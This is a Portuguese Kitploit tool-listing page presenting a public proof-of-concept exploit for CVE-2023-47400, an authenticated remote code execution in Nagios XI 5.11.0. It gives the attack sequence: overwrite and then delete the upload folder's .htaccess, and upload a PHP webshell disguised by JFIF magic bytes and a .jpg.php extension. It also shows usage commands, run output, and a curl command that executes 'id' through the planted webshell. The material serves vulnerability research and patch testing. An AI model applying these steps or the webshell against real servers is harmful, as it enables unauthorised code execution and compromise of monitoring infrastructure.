Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-47400 — Prova de Conceito para o CVE-2023-47400 | Kitploit
Ferramentas/GitHubGitHub/lucasvanhaaren/cve-2023-47400
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHublucasvanhaaren/cve-2023-47400

CVE-2023-47400

Prova de Conceito para o CVE-2023-47400

Ver Repositório
213há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-47400

Prova de Conceito para o CVE-2023-47400

Execução Remota de Código PHP Autenticada via Gravação Arbitrária de Arquivos no Nagios XI 5.11.0

[!Note] Esta PoC baseia-se no advisory técnico publicado pelo NCC Group https://research.nccgroup.com/2023/12/13/technical-advisory-multiple-vulnerabilities-in-nagios-xi/

Esta PoC segue este processo:

  • Envia uma imagem válida chamada placeholder.jpg (apenas o cabeçalho de magic bytes JFIF, sem conteúdo)
  • Usa o recurso de rename do Custom Includes para renomear a imagem para .htaccess (o que tem o efeito de sobrescrever o arquivo .htaccess existente)
  • Usa o recurso de delete do Custom Includes para excluir o arquivo .htaccess
  • Envia um payload PHP (falsificando uma assinatura de imagem por meio dos cabeçalhos de magic bytes JFIF e da extensão dupla .jpg.php)

A exploração dessa vulnerabilidade leva à execução remota de código no host nagiosXI, contornando os filtros de upload de arquivos (via filtros de assinatura e extensão de arquivo) e a prevenção de execução PHP (via ).

Baixar ferramenta
.htaccess

[!Warning] Este exploit apaga o arquivo <NAGIOS_WEB_ROOT>/includes/components/custom-includes/images/.htaccess presente no host para permitir a execução de código PHP!

Uso

  • configurar o projeto:
root@kitploit:~
# create a venv to dependency isolation
python3 -m venv .venv
source .venv/bin/activate
# run pip install before running the exploit
pip install -r requirements.txt

  • personalizar o payload PHP a ser enviado para a pasta de uploads de imagens

  • executar o script do exploit:

root@kitploit:~
python exploit.py
# the exploit generates a webshell and upload it with uuid as filename
[...]
INFO:cve_2023_47400:Successfuly uploaded payload at
INFO:cve_2023_47400:Usage :https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php
INFO:cve_2023_47400:Exploit completed successfuly
  • interagir com o payload enviado:
root@kitploit:~
$ curl -k 'https://10.10.11.248/nagiosxi/includes/components/custom-includes/images/6ac234ca-8921-4e7e-a833-bf1ba03d2a3c.jpg.php?cmd=id' --output -
JFIF
uid=33(www-data) gid=33(www-data) groups=33(www-data),121(Debian-snmp),1001(nagios),1002(nagcmd)